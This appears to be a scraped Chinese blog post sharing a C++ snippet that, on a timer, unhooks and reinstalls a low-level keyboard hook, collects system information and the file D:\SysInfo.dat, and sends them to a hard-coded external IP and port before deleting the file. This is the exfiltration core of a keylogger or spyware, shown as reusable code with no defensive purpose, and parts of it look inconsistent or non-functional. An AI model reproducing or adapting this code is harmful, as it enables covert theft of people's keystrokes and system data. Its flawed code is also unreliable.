C++ 定时发送文件到服务器

来源:互联网 发布:家具展示软件 编辑:程序博客网 时间:2024/05/03 23:01
VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime){//SetHookOff();UnhookWindowsHookEx(g_hLLKeyboardHook);char End[7] = {"holmes"};AfxSocketInit();char a;//getSysInfo();//WSADATA wsaData;//WSAStartup(MAKEWORD(2, 2), &wsaData);char check[7] = { "nibiru" };//CString strIP = {L"121.42.15.225"};//UINT strPort = {43305};UINT nPort = atoi("43305");CString strIP = _T("121.42.15.225") ;CSocket s;s.Socket();s.Connect(strIP,nPort);/*SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);sockaddr_in sockAddr;sockAddr.sin_family = PF_INET;sockAddr.sin_addr.S_un.S_addr = inet_addr("121.42.15.225");sockAddr.sin_port = htons(43305);*///printf("I'm Client\r\n");//connect(s, (SOCKADDR*)&sockAddr, sizeof(SOCKADDR));s.Send(check,6);  //给客户端发送SysInfo结构体s.Send((const char *)&SysInfo, sizeof(dSysInfo), 0);  //给客户端发送SysInfo结构体//printf("send Sysinfo successful!\r\n");//Sleep(10000);TCHAR FileName[] = { L"D:\\SysInfo.dat" };HANDLE hFile = CreateFile(FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);char SendBuf[1024];char EndBuf[1024] = {"holmes"};DWORD dwRead;BOOL bRet;while (TRUE){bRet = ReadFile(hFile, SendBuf, 1024, &dwRead, NULL);if (bRet == FALSE) {//MessageBox(NULL, L"Read Buf ERROR!", L"Error", MB_OK);break;}else if (dwRead == 0){//MessageBox(NULL, L"Send file OK!", L"OK", MB_OK);send(s,EndBuf , 1024, 0);break;}else{send(s, SendBuf, dwRead, 0);}//recv(s, szBufferAccpect, MAXBYTE, NULL);//cout<<"Server:"<<szBufferAccpect<<endl;}/*closesocket(s);WSACleanup();*/s.Close();CloseHandle(hFile);DeleteFile(L"D:\\SysInfo.dat");//SetHookOn();g_hLLKeyboardHook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, theApp.m_hInstance, 0);}int main(void ){SetTimer(1, 100000, TimerProc);return 0;}


0 0
原创粉丝点击